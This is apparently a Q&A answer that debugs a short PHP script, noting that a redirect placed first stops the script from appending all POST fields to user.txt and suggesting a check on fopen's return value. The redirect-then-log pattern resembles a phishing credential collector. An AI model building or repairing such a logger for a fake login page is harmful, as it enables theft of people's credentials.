Answer 1

Doesn't header ('Location: http://www.insertyourwebsite.com'); redirect your website to the specified URL, and therefore the code below never runs?

<?php

$handle = fopen("user.txt", "a");

foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");

fclose($handle);

?>

Have you checked the return value of fopen()?

From the documentation (http://php.net/manual/en/function.fopen.php)
"Returns a file pointer resource on success, or FALSE on error."
